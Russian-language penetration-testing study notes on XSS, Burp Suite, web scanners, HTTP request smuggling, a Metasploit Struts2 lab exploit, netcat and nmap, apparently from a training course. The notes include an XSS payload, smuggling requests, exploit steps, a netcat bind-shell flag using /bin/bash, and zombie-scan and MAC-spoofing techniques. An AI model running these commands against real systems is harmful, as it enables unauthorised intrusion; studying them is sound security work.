Сохраненный межсайтовый скриптинг (скриптинг второго порядка или постоянный XSS) возникает, когда приложение получает данные из недоверенного источника и включает эти данные в свои последующие HTTP-ответы небезопасным способом. Например комментарии.

Dom-based XSS

XSS-уязвимости, основанные на DOM, обычно возникают, когда JavaScript берет данные из подконтрольного злоумышленнику источника, например, URL, и передает их «раковине» (англ. sink), поддерживающей динамическое выполнение кода, например, eval() или innerHTML. Это позволяет злоумышленникам выполнять вредоносный JavaScript, что обычно приводит к взлому учетных записей других пользователей.

Для реализации XSS-атаки, основанной на DOM, необходимо поместить данные в источник таким образом, чтобы они распространились на поглотитель и вызвали выполнение произвольного JavaScript.

Наиболее распространенным источником для DOM XSS является URL, доступ к которому обычно осуществляется с помощью объекта window.location. Злоумышленник может построить ссылку для отправки жертвы на уязвимую страницу с полезной нагрузкой в строке запроса и фрагментами URL. В некоторых случаях, например, при нацеливании на страницу 404 или на сайт, работающий на PHP, полезная нагрузка также может быть помещена в путь.

Доп. информация

Взлом Web приложений

Burp

Открытые курсы по Burp от разработчиков.

Структура сканера

Процесс прохождения пакета и точки настройки

  1. Входящий пакет попадает на proxy.
  2. Происходит проверка совпадения со Scopes.
  3. В случае совпадения отправляется в инструменты. Иначе отправляется обратно в Proxy.
  4. Производится обработка, модификация пакета, далее отправляется обратно в Proxy
  5. Пакет отправляется на выход в соответствии с правилами

Настройки

Проект Настройки бывают пользователя и проекта. Проект = данные + настройки. В Community Edition можно сохранить только настройки, данные придется получать каждый раз. Для каждого блока можно сохранить / загрузить настройки отдельно. 

Scopes

Site map. Агрегация данных о структуре сайта. Раздел Display - расширенные инструменты фильтрации отображения, есть регулярки. Можно подсветить нужные запросы (ПКМ - highlight) и/или добавить комментарии, затем по ним отфильтровать. После применения Scopes, исключенные пакеты отображаются в сером цвете.

В Pro версии можно найти отличия между двумя Site Map.

Scope. Ограничение области действия (домен, папка, файлы). Файл в терминах Burp - например для запроса http://one.ru/two/index.php будет index.php. Вариант настройки - запустить браузер и перейти в нем на нужный сайт. Все посещенные сайты в пределах текущей сессии отображаются в разделе Target-Site map 

image.png

ПКМ-Add to scope По умолчанию для нового проекта все посещенные страницы попадают в историю и другие инструменты. После добавления в scope будет задан вопрос - сохранять ли запросы вне scope. Можно включить обратно. 

image.png

Есть обычный и расширенный режимы настройки scope. В обычном настраивается только префикс, в расширенном можно ограничить протокол и использовать регулярные выражения для определения сайта, порта, файла.

image.png

Страница попадает/исключается при полном совпадении условий. 

Можем загрузить список из текстового файла без указания протокола, например в виде 

web.cyber-ed.ru
wiki.cyber-ed.ru
www.cyber-ed.ru

В других разделах настраиваются более точные параметры для фильтрации. В разделе Project - Scope есть настройка Drop all out-of-scope requests. Если предыдущие настройки определяли правила попадания страниц в историю, то это блокирует запросы вне scope. 

Proxy

В этом разделе есть 3 блока настроек: входящие параметры, перехват трафика и исходящие параметры. 

Отправка трафика на другой прокси настраивается в разделе Network-Connections Поддерживаются http и socks. Пример настройки socks для TOR сети.

По умолчанию принимает локальные входящие соединения на 8080 порту http. Можно настроить в режиме прокси для внешних соединений. В Settings - Tools - Proxy нужно добавить Proxy Listeners. Это можно использовать для проксирования внешнего трафика.

Обработка https запросов. Нужно чтобы burp распаковывал трафик, предоставлял возможности модификации и обратно запаковывал трафик.

Еще дополнительно можно настроить SSL pass-through в случае ошибки SSL

"Незаметный proxy" В случае отсутствия у клиента возможности работать через proxy. На клиенте в host файле меняем ссылку на нужный ресурс. 

Поиск и замена данных

image.png

Позволяет модифицировать запрос / ответ перед отправкой / возвратом.

Перехват трафика

Перейти во вкладку Proxy->Intercept 

image.png

Proxy используется в режимах выключенного и включенного перехвата. При включенном перехвате пакеты перед отправкой останавливаются и ожидают, в какой инструмент будут направлены. В разделе Raw можно редактировать данные. 

изображение.png

Включить Intercept и открыть браузер

image.png

При включенном Intercept, при обращении к странице выводится запрос, и вариант - пропустить или блокировать. Доступна вкладка http history, где можно увидеть историю запросов и просмотреть запрос и ответ.

По умолчанию перехватываются запросы. Можно перехватывать ответы.

Инструменты. 

Передача в инструмент копирует данные для анализа. Не отправляет данные дальше. 

Repeater - ручной просмотр данных с возможностью редактирования

Intruder - для автоматизированной атаки. Работает по принципу подстановки элементов из словарей

Macros - можно выполнить предварительные действия 

Decoder - модуль для кодирования JS скриптов для XSS атак. В связи с близостью XML и html разметки, это необходимо.

Repeater

Модификация http запросов

Перед отправкой, запрос можно модифицировать. Во вкладке http history будут запросы. правая кнопка - отправить в repeater позволяет скопировать запрос, модифицировать и отправить его.

Intruder

Пример подбора пароля. Общая идея:

Поиск нужного пакета

Добавили в Scope адрес сайта, запустили Interception, перешли на страницу авторизации, отправили тестовые данные. В истории находим пакет, который отправлял запрос с логином и паролем:

image.png

Отправляем данный пакет в Intruder 

image.png

Указание типа атаки

От типа атаки зависит дальнейшая настройка. Возможные атаки:

Sniper

Один словарь. Обычно используется с одной позицией. Когда позиций несколько - перебор такой:

П.1-Эл.1 П.2-значение по умолчанию ... До конца списка. Затем П.1-значение по умолчанию П.2- Эл.1 ... до конца списка. Т е количество запросов будет Длина списка Х Кол-во позиций. Значение по умолчанию - значение, прописанное между $ перед стартом атаки. 
Battering Ram Один словарь. Каждый элемент размещается на всех позициях. Кол-во запросов = Длина списка.
Pitchfork Для каждой позиции свой словарь. Элементы подставляются по очереди из каждого словаря последовательно. Т е Позиция 1: Словарь 1 элемент 1 Позиция 2: Словарь 2 элемент 1. Позиция 1: Словарь 1 элемент 2 Позиция 2: Словарь 2 элемент 2
Cluster Bomb Для каждой позиции свой словарь. Перебираются все комбинации элементов для каждого словаря.

Настройка точек фаззинга

Для настройки выделяем элемент и нажимаем Add. Вокруг появляется символ $.

image.png

Определение словаря подстановки

Дальше интереснее. Можно использовать возможности Burp. Тогда настройка делается через интерфейс. Словарь определяется в разделе Payload. Есть ряд типов словарей, Simple - это простой список. Можно проводить дополнительную модификацию элементов словаря. 

Все методы в community версии медленно работают. Можно использовать fuff clusterbomb для ускорения отправки запросов.

Sequencer

Проверка степени случайности данных. Можно ли по некоторому количеству псевдослучайных данных сказать, насколько они случайны, или есть какая-то вычисляемая закономерность? 

Decoder

Этот инструмент позволяет преобразовывать текст скрипта в закодированный текст, воспринимаемый системой как валидный текст для сохранения, но хранящий внутри исполняемый код. Например для преобразования строки 

"><img src=x onerror=alert(1) />

нужно зайти в Decoder и нажать кнопку Encode as -> HTML

image.png

В результате появится второе поле ввода, в котором будет результат. 

Обратное преобразование - используя Decode as.

Comparer

Сравнение запросов или ответов.

Расширения

Есть магазин расширений и API для создания собственных (Java, Python, Ruby). Для Python и Ruby требуется настройка окружения Java-...

Взлом Web приложений

Nikto, nuclei и др.

Коммерческие:

Бесплатные:

Nikto 

nikto -host 172.16.10.11 -port 80

+ Server: Apache/2.4.58 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29af, size: 63d6cf46a153e, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /backup/: Directory indexing found.
+ /backup/: This might be interesting.
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2025-08-30 20:12:35 (GMT8) (40 seconds)

Nuclei

Адрес проекта

Отправляет DNS, HTTP, сокеты. Общая база с возможностью расширения. Можно использовать для поиска данных авторизации в локальных файлах.

Основан на YAML шаблонах. Структура шаблона:

ID Уникальный идентификатор шаблона
Metadata Описание шаблона (автор, ...
Protocol Протокол
Operators Паттерны и получаемые данные

Простой шаблон: 

id: detect-apache-welcome-page
info:
  name: Apache2 Ubuntu Default Page
  author: Dolev Farhi and Nick Aleks
  severity: info
  tags: apache
http:
  - method: GET
    path:
      - '{{BaseURL}}'
    matchers:
      - type: word
        words:
          - "Apache2 Ubuntu Default Page: It works"
        part: body

wmap

Сканер web уязвимостей, встроенный в MSF. Почему-то предлагается сначала создать новую базу для хранения результатов.

msf > workspace -a for_wmap
msf > workspace
  default
* for_wmap

Загружаем в MSF модуль

msf > load wmap

После этого появятся команды сканера. Команда wmap_sites управляет списком сайтов. 

wmap_sites -a http://172.16.194.172 Добавить сайт для сканирования
wmap_sites -l Список сайтов
wmap_sites -d [id] Удаляет цели из списка по id

wmap_targets управляет endpoint сайта

Добавляем сайт для сканирования

wmap_targets -t https://172.16.194.172 Добавить endpoint для сканирования
wmap_targets -l Список endpoint
wmap_sites -d [id] Удаляет endpoint из списка по id

wmap_run управляет запуском сканирования

wmap_run -t Список модулей, используемых для сканирования
wmap_run -e Выполнить модули

wmap_vulns выводит информацию об уязвимостях.

wmap_vulns -l Список уязвимостей

Однако в выводе сканера можно увидеть дополнительную информацию, которая не попала в данный список, например предположительную версию web сервера или сертификаты.

В таблице vulns также уязвимости.

Cariddi

Сканер endpoint. Git проекта. Сначала установить go. 

Если не ограничить - сначала просматривает все страницы. 

Опции
-e

Поиск уязвимостей в endpoint

-ef string Use an external file (txt, one per line) to use custom parameters for endpoints hunting.
-info Ищет полезную информацию. Например, быстрый поиск email ip Используется самостоятельно.
-s

Hunt for secrets.

-sf string Use an external file (txt, one per line) to use custom regexes for secrets hunting.
-err Hunt for errors in websites.
-ext int Hunt for juicy file extensions. Integer from 1(juicy) to 7(not juicy).
Настройки формата запроса
-proxy string Set a Proxy to be used (http and socks5 supported).
-headers string Use custom headers for each request E.g. -headers "Cookie: auth=yes;;Client: type=2".
-headersfile string Read from an external file custom headers (same format of headers flag).
-rua Use a random browser user agent on every request.
-ua Use a custom User Agent.
Настройки поиска
-i string Ignore the URL containing at least one of the elements of this array.
-ie value Comma-separated list of extensions to ignore while scanning.  
cat urls.txt | cariddi -ie pdf,png,jpg
-it string Ignore the URL containing at least one of the lines of this file.
-md int Maximum level the crawler will follow from the initial target URL.
-intensive Crawl searching for resources matching 2nd level domain.
Скорость работы
-c int Concurrency level. (default 20)
-d int Delay between a page crawled and another.
-t int Set timeout for the requests. (default 10)
Выходной формат
-json Print the output as JSON in stdout.
-oh string Write the output into an HTML file.
-ot string Write the output into a TXT file.
-plain Print only the results.
Дополнительно
-debug Print debug information while crawling.
-examples Print the examples.
-sr Store HTTP responses.
-cache Use the .cariddi_cache folder as cache.


 

Взлом Web приложений

HTTP request smuggling

Внедрение в последовательность http запросов. Может быть критичной для HTTP/1, может работать и для HTTP/2 Критическая уязвимость, позволяющая получить доступ к данным и скомпроментировать пользователей. 

При архитектуре proxy/load balancer -> backend, балансировщиком отправляется несколько запросов на бэк. Запросы отправляются последовательно, и бэк обязан определять где заканчивается один и начинается следующий.

image.png

Важно, чтобы фронт и бэк согласовали границы между запросами. Иначе можно отправить неоднозначный запрос, который будет по-разному интерпретирован интерфейсной и серверной системами

image.png

Это работает, поскольку в HTTP/1 есть два варианта определения завершения запроса: заголовки Content-Length и Transfer-Encoding. Content-Length это длина сообщения в байтах. 

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Transfer-Encoding означает, что текст сообщения содержит один или несколько фрагментов данных. Каждый фрагмент содержит размер фрагмента в байтах, перевод на новую строку, сам фрагмент. Сообщение завершается 0 размером фрагмента. 

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

Браузеры не отправляют Transfer-Encoding запросы, это актуально для межсерверного взаимодействия. Так как возможно два варианта, в одном сообщении можно использовать оба заголовка, как будто бы они конфликтуют. Transfer-Encoding приоритетнее, поэтому Content-Length игнорируется. Это эффективно если один бэк, если несколько - проблема:

Если фронт и бэк по-разному ведут себя при обработке заголовка Transfer-Encoding, то могут перепутаться границы запросов. Когда фронт HTTP/2, а бэк HTTP/1 (HTTP downgrading), то будет преобразование форматов.

Вектор атаки

Браузеры и другие клиенты, включая Burp, используют http/2 по умолчанию. Поэтому в Burp необходимо включить http/1 (Inspector -> Request attributes).

image.png

image.png

Классика: отправка http/1 с двумя заголовками. Финальная реализация зависит от фронта и бэка:

CL.TE: фронт использует Content-Length, бэк Transfer-Encoding

Пример запроса: 

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Для решения лабораторной работы предлагается отправить запрос вида 

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

Из-за того, что сервер не поддерживает метод gpost, он должен вернуть ошибку после второй отправки запроса.

image.png

Правда почему content-length: 6 - неясно. Возможно перевод строки - 1, 0 - 2, перевод - 1, G - 2

Уязвимости сетевых сервисов

Уязвимости сетевых сервисов

Общая информация

Определения

Фреймворк эксплуатации — платформа для создания и отладки эксплойтов. Кроме того, включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям информационной безопасности.

Уязвимость нулевого дня — термин, обозначающий неустранённые уязвимости.

Шелл-код — двоичный исполняемый код, передающий управление консоли (/bin/sh, cmd.exe). Шелл-код может быть использован как полезная нагрузка эксплойта, обеспечивающая доступ к консоли.

Опкод — код, представляющий операцию или команду, выполняемую процессором компьютера. Он является непосредственной инструкцией для выполнения определенного действия, такого как сложение, умножение, сравнение и т.д.

Типовые проблемы сетевых сервисов:

Этапы анализа сервисов:

Поиск эксплойта

Популярные фреймворки эксплуатации:

Если есть эксплоит, то:

Попытка использования эксплоита

Обязательно должна быть уверенность в:

Доп. информация

Практика:

Теория:

CheatSheets:

Хакерские инструменты:

Уязвимости сетевых сервисов

Тестовый стенд

docker run -it --rm -p 1337:8080 --name struts --ulimit nofile=65535:65535 piesecurity/apache-struts2-cve-2017-5638

Пример атаки:

nmap -Pn -p- -sV 192.168.1.199
msfconsole
search struts showcase
use exploit/multi/http/struts2_code_exec_showcase
info
options
set RHOSTS 192.168.1.199
set RPORT 1337
set TARGETURI /integration/saveGangster.action
set PAYLOAD cmd/unix/generic
set CMD 'cat /flag'
check
exploit

 

Уязвимости сетевых сервисов

Версия сервиса и ОС

Определение сервиса на порту

Анализ баннера

У нас есть открытые порты. Но необходимо узнать, что за сервис крутится на нем. Часто сервисы публикуют т н баннер - информацию о себе. Есть сервисы, хранящие данные о сайтах, типа https://shodan.io https://zoomeye.org которые хранят базу данных. Это называется пассивным сканированием. 

Естественно администраторы могут изменять баннер.

Netcat может предоставить данную информацию. 

nc 172.16.10.11 -v 21
172.16.10.11: inverse host lookup failed: Unknown host
(UNKNOWN) [172.16.10.11] 21 (ftp) open
220 (vsFTPd 3.0.5)

nc 1.1.1.1 -v 22 
some.address.ru [1.1.1.1] 22 (ssh) open
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.13

Ключи nc:

Флаг Значение Пример
-l Слушать (listen) — запускает nc в режиме сервера (ожидание входящих подключений) nc -l -p 4444
-p <порт> Указать порт (для прослушивания или исходного подключения) nc -l -p 4444
-v Подробный режим (verbose), показывает процесс соединения nc -vz 8.8.8.8 53
-vv Очень подробный (ещё больше информации) nc -zvv 8.8.8.8 53
-z Сканирование портов (zero-I/O mode: проверка доступности портов без передачи данных) nc -zv 192.168.0.1 20-80
-u Использовать UDP вместо TCP nc -u 192.168.0.10 123
-n Не использовать DNS (работать только с IP, не пытаться резолвить имена) nc -vz -n 192.168.0.1 80
-w <сек> Таймаут соединения nc -vz -w 3 8.8.8.8 53
-q <сек> Закрыть соединение после EOF через указанное время `echo hi
-k Продолжать слушать после разрыва соединения (серверный режим) nc -lk -p 4444
-e <программа> Запуск программы после подключения (опасный флаг!, часто отключён в безопасных сборках nc) nc -l -p 4444 -e /bin/bash

Сбор информации о баннере: 

#!/bin/bash

FILE="$1"
PORT="$2"

while read -r ip; do
  res=$(echo -e "\n" | nc -v "${ip}" -w 1 "${PORT}" 2> /dev/null)
  if [[ -n "${res}" ]]; then
    echo "Service: ${ip}:${PORT}"
    echo "Banner: ${res}"
  fi
done < "${FILE}"

Анализ http ответа сервера

При помощи curl с помощью метода head можно получить информацию об http сервере. 

curl --head 172.16.10.10:8081                                                                                          

HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Sat, 30 Aug 2025 08:41:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 7176
Connection: close

Приложение whatweb предоставляет расширенную информацию об http сервере. Синтаксис:

whatweb 172.16.10.10:8081
http://172.16.10.10:8081 [200 OK] Country[RESERVED][ZZ], HTML5, 
HTTPServer[Werkzeug/3.0.1 Python/3.12.3], IP[172.16.10.10], 
Python[3.12.3], Title[Menu], Werkzeug[3.0.1], X-UA-Compatible[ie=edge]

whatweb 172.16.10.10:8081 --log-json=/dev/stdout --quiet | jq
# в формате JSON

Т е скомбинировав данные, полученные после сканирования, можно определить некоторые стартовые позиции.

При определении версии сервиса бывает неточным. Дополнительные способы определения версии:

Также есть базы знаний и инструменты:

Также могут помочь поисковые движки (google.com), публичные репозитории (github.com), блоги разработчиков ПО, китайский сегмент интернета, и пр.

Получение информации об операционной системе

Способ формирования TCP ответа несколько отличаются для разных ОС. Можно определить примерный тип ОС и иногда версию ядра.

Опция -O позволяет проанализировать данную информацию. 

sudo nmap -O -iL 172-16-10-scanning-hosts.txt 

Nmap scan report for 172.16.10.11
Host is up (0.000038s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http
MAC Address: F6:F2:1D:05:71:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop

Получение данных: 

#!/bin/bash

HOSTS="$*"

if [[ "${EUID}" -ne 0 ]]; then
  echo "Run script with sudo."
  exit 1
fi

if [[ "$#" -eq 0 ]]; then
  echo 'Need at least one IP'
  exit 1
fi

nmap_scan=$(sudo nmap -O ${HOSTS} -oG -)
while read -r line; do
  ip=$(echo "${line}" | awk '{print $2}')
  os=$(echo "${line}" | awk -F'OS: ' '{print $2}' | sed 's/Seq.*//g')
  if [[ -n "${ip}" ]] && [[ -n "${os}" ]]; then
    echo "IP: ${ip} OS: ${os}"
  fi
done <<< "${nmap_scan}"

Также можно проанализировать версию, обратившись к 445 порту (Windows, Linux).

msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.1.200-210
RHOSTS => 192.168.1.200-210
msf auxiliary(smb_version) > set THREADS 11
THREADS => 11
msf auxiliary(smb_version) > run

В случае подключенной базы, информация будет в hosts.

Скрытое сканирование

При помощи модуля auxiliary/scanner/ip/ipidseq можно найти машины со старой уязвимостью в нумеровании TCP пакетов, и затем использовать их как зомби. 

msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options

Module options (auxiliary/scanner/ip/ipidseq):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port
   SNAPLEN    65535            yes       The number of bytes to capture
   THREADS    1                yes       The number of concurrent threads
   TIMEOUT    500              yes       The reply read timeout in milliseconds

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run

[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.2's IPID sequence class: Incremental!
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] 192.168.1.144's IPID sequence class: Incremental!

Incremental означает возможность использования. Сканируем от имени зомбарей:

msf auxiliary(ipidseq) > nmap -Pn -sI 192.168.1.109 192.168.1.114
[*] exec: nmap -Pn -sI 192.168.1.109 192.168.1.114

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-14 05:51 MDT
Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.114:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-term-serv
MAC Address: 00:0C:29:41:F2:E8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds

Определение MSSQL

В metasploit много сканеров на различные сервисы, список 

use auxiliary/scanner/

 

Уязвимости сетевых сервисов

NMAP

Open source приложение для сканирования сети.

Общие флаги

nmap -e eth2 scanme.nmap.org Конкретный интерфейс
nmap -A <target> Агрессивный режим (объединение режимов определения версии ОС, версий сервисов, скрипт сканирования, трассировки)
-n отключить обратное разрешение IP в DNS
--data-length <length> Добавка случайных байтов информации к каждому пакету
nmap -iL targets.txt

Запуск с источниками из файла.

Могут разделяться пробелом, табуляцией или переводом строки. Поддерживает диапазоны

192.168.1.20-30

192.168.*

192.168.0/24

scanme.nmap.org/24 

комментарии

cat targets.txt 
   # FTP servers 
   192.168.10.3
nmap 192.168.1.1-255 --exclude 192.168.1.1 Исключение из диапазона
nmap --exclude-file dontscan.txt 192.168.1.1/24 Исключение адресов из файла
--randomize-hosts перемешивание последовательности узлов
nmap -iR 100

100 случайных адресов

-iR 0 это все адреса.
http-max-cache-size=0

Отключение кэша (по умолчанию включен)
-sL

имя сетевого узла

Таймауты

--max-rtt-timeout

Максимальное время ожидания ответа. По умолчанию несколько секунд.

sudo nmap -sU --max-rtt-timeout 100ms host.ru
 --host-timeout  Ограничение времени сканирования всего хоста.  
sudo nmap -sU --host-timeout 5m host.ru
 --max-retries  Максимальное количество повторных попыток.  
sudo nmap -sU --max-rtt-timeout 100ms --max-retries 0 host.ru
-T4 Время задержки (ожидания) между запросами, 0 - очень много, 3 - по умолчанию, 5 - очень быстро

Поиск хостов

NMAP использует несколько техник пинга с использованием разных протоколов. 

-PS/PA/PU/PY [portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO [protocol    list]: IP protocol ping

Номера протоколов поверх IP

1   ICMP
2 IGMP
4 IP-in-IP
6 TCP
17 UDP
132 SCTP

Для остальных протоколов только будут установлены IP заголовки.

Все техники по умолчанию отправляют пустые запросы. 

Ключ Описание
-sn <target>

Ping-сканирование сети. 

nmap -sn 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 09:02 +08
Nmap scan report for 192.168.1.1
Host is up (0.00044s latency).
MAC Address: 00:18:E7:F3:65:EE (Cameo Communications)

Отправляются разные пакеты в зависимости от привилегий пользователя.

С опцией traceroute должен показывать дополнительные маршруты, но это не то же самое что traceroute.  У меня до всех тестовых адресов получился один шаг

nmap -sn --traceroute microsoft.com                                                                                    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 11:03 +08
Nmap scan report for microsoft.com (13.107.246.77)
Host is up (0.00055s latency).
Other addresses for microsoft.com (not scanned): 
2603:1020:201:10::10f 2603:1010:3:3::5b 
2603:1030:b:3::152 2603:1030:20e:3::23c 2603:1030:c02:8::14

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.53 ms 13.107.246.77

Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds

 
nmap -sn -PS <target> TCP SYN сканирование.  
nmap -sn -PS 192.1.1/24

SYN пакет на 80 порт, если порт закрыт - приходит RST, если открыт - SYN/ACK. Потом отправляем RST пакет.

Фаер может блокировать RST для закрытых сервисов, поэтому можно донастроить скан 

nmap -sn -PS80,100-1000 <target>

Но SYN пакеты могут блокироваться, поэтому следующий способ

 
nmap -sn -PA <target>

TCP ACK сканирование.

Пустой TCP-пакет с флагом ACK, на порт 80 (по умолчанию).
Если хост отключен, он не должен отвечать на этот запрос. Иначе RST и будет считаться подключенным к сети. 

nmap -sn -PA22,1000-65535 <target>
nmap -sn -PU <target> UDP сканирование. Порт 40125. Аналогично настройка портов
 nmap -sn -PE <target> Стандартное Echo сканирование.
nmap -sn -PP <target> Echo timestamp сканирование.
nmap -sn -PM <target> Echo reply сканирование.
nmap -sn -PY <target> SCTP INIT сканирование. Аналогичная настройка портов.
nmap -sn -PO <target>

IP сканирование. 


nmap -sn -PO1,2,17 scanme.nmap.org

Здесь 1, 2, 17 - номера протоколов
nmap -sn -PO --data-length 100 scanme.nmap.org

--data-length 100 генерация случайных данных
nmap -sn -PR <target>

ARP ping
nmap -sn -PR --spoof-mac <mac address> <target>

Подмена MAC-адреса может позволить нам подделать источник наших подключений и может быть полезна для обхода систем идентификации. MAC-адрес можно подделать
во время проверки ARP-связи.  Используйте --spoof-mac для установки нового MAC-адреса:
-sn --script dns-brute bobrobotirk.ru Брутфорс по доменным именам
-sW Похож на ACK, определяет статус порта анализируя поле TCP Window в RST ответе. Открытые больше 0, закрытые - 0.
-sI

Сканирование от лица другого узла. Старые системы увеличивают IP-ID на 1 с каждым новым исходящим пакетом. Это ключевая уязвимость. 

Хост должен мало использоваться и иметь предсказуемый IP-ID.
Процесс сканирования одного порта:
  • Запрос "зомби" (например, SYN-пакет), сохраняется IP-ID ответа (например X)
  • Отправка пакета от имени "зомби" на целевой порт сканируемой машины. Если порт открыт, цель ответит "зомби" пакетом SYN/ACK. Если порт закрыт, цель ответит "зомби" пакетом RST.
  • Повторный запрос "зомби" и анализ нового значения IP-ID. X+1 означает, что "зомби" не отправил ни одного своего пакета. Следовательно, порт на цели фильтруется (брандмауэр молча отбросил пакет). X+2 означает, что "зомби" получил от цели ответный пакет и ответил на него своим RST. Вывод: порт на цели открыт или закрыт.
Чтобы отличить открытый порт от закрытого, сканер анализирует, на какой именно пакет отреагировал "зомби".

Причины использования: анонимность и обход правил фильтрации (если "зомби"  доверенный) 
sudo nmap -sI zombie.example.com target.example.com
Поиск зомби:
Скрипт ipidseq. 
sudo nmap -sS -p 80 --script ipidseq <target>
По умолчанию 6 пакетов. Параметр --script-args ipidseq.probes=10 улучшает качество проверки.
Результат:

  • Incremental! Подходит. IP-ID увеличивается на постоянную величину.

  • All zeros или Constant Не подходит. В поле IP-ID всегда ноль/константа. В некоторых старых системах или специфичном сетевом оборудовании.

  • Random Не подходит.

  • Broken incremental! Увеличивается на непостоянную величину (например, +1, +2, +1, +3). Не подходит./подождать, может успокоится.

Проверил роутеры DIR-650 и ASUS RT-N18U. На первом Incremental, на втором - All zeros. Пакеты, идущие сквозь, не влияют. При сканировании на целевом хосте в качестве порта источника видится http или https порт зомби.
-sn --script broadcast-ping 192.168.0.1/24

Броадкастовый пинг. Отправляется броадкастовый запрос и ждем результат. 

broadcast-ping.num_probes=5 количество пингов

nmap --script broadcast-ping --script-args broadcast-ping.num_probes=5

broadcast-ping.timeout=10000 таймаут

broadcast-ping.interface=wlan3 интерфейс

--script-args=newtargets позволяет просканировать хосты, от которых получен ответ

--script-args max-newtargets=3 ограничивает кол-во сканируемых хостов
nmap --script broadcast

Запускает все скрипты категории broadcast

Можно комбинировать технологии 

nmap -sn --send-ip -PS21,22,23,25,80,445,443,3389,8080 -PA80,443,8080 -PO1,2,4,6 -PU631,16

Эффективность технологий сканирования (оригинал)

Интересная статья. Проба эффективности различных комбинаций технологий на основании 1000 случайных сетей. Был сформирован список и приведены результаты различных технологий и комбинаций с процентом результативности. 100% результат - найденные любой технологией хосты. А затем - поиск комбинации технологий с наибольшим процентом попадания и времени на каждую вариацию.

Вывод, который я для себя сделал на основе данных: 

Открытые порты

Без параметров, только адрес. По умолчанию сканирует 1024 первых порта. Статусы портов:

Open Сервис доступен
Closed Запросы были получены, но был сделан вывод, что на этом порту не запущена служба.
Filtered Не было признаков того, что запросы были получены, и состояние не удалось установить.  Это также указывает на то, что запросы отбрасываются в результате какой-либо фильтрации.
Unfiltered Запросы были получены, но состояние не удалось установить. Это состояние возможно только при ACK сканировании.
Open/Filtered Запросы отфильтрованы или порт открыт, но не удалось установить состояние.
Close/Filtered Запросы отфильтрованы или порт закрыт, и не удалось установить состояние.

Последовательность задач при сканировании портов:

Диапазоны портов:

--top-ports N Заданное количество портов по рейтингу популярности.
nmap -p80,443 localhost Явный список портов
nmap -p1-100 localhost Диапазон
nmap -p- localhost Все порты
nmap -pT:25,U:53 <target> Порты с протоколом
nmap -p smtp <target> По имени сервиса
nmap -p smtp* <target> По шаблону имени сервиса
nmap -p[1-65535] <target> Только порты, указанные в nmap в виде сервиса

Определение типа сервиса и версии

За счет базы данных "отпечатков" сервисов и ОС. Отправляются пробники, определенные в nmap-service-probes, в список предполагаемых открытых портов. Пробники выбираются в зависимости от того, насколько вероятно, что они могут быть
использованы для идентификации службы.

nmap -sV <target> Версии сервисов
nmap -sV --version-intensity 9 <target> Уровень интенсивности поиска, 0-9
nmap -O <target> Версия ОС. В привилегированном режиме.
nmap -O --osscan-guess <target> Попытка угадать ОС
nmap -O --osscan-limit <target> Вывод информации об ОС только а случае абсолютной уверенности
nmap -O -v 192.168.0.1 Расширенная информация об ОС

"Отпечатки" могут настраиваться для улучшения производительности. 

Дополнительные утилиты

nping модификация ping пакетов. Мощный инструмент для тестирования фаерволов.

--icmp тип пакета
-c 1 количество пакетов
--icmp-type 0 --icmp-code 0 тип и код пакета
--source-ip 192.168.0.5 --dest-ip 192.168.0.10 источник и приемник
--icmp-id 520 идентификатор
--icmp-seq 0 номер пакета
--data-string 'ping' данные внутри

Zenmap графическая утилита, удобно хранить настройки параметров nmap

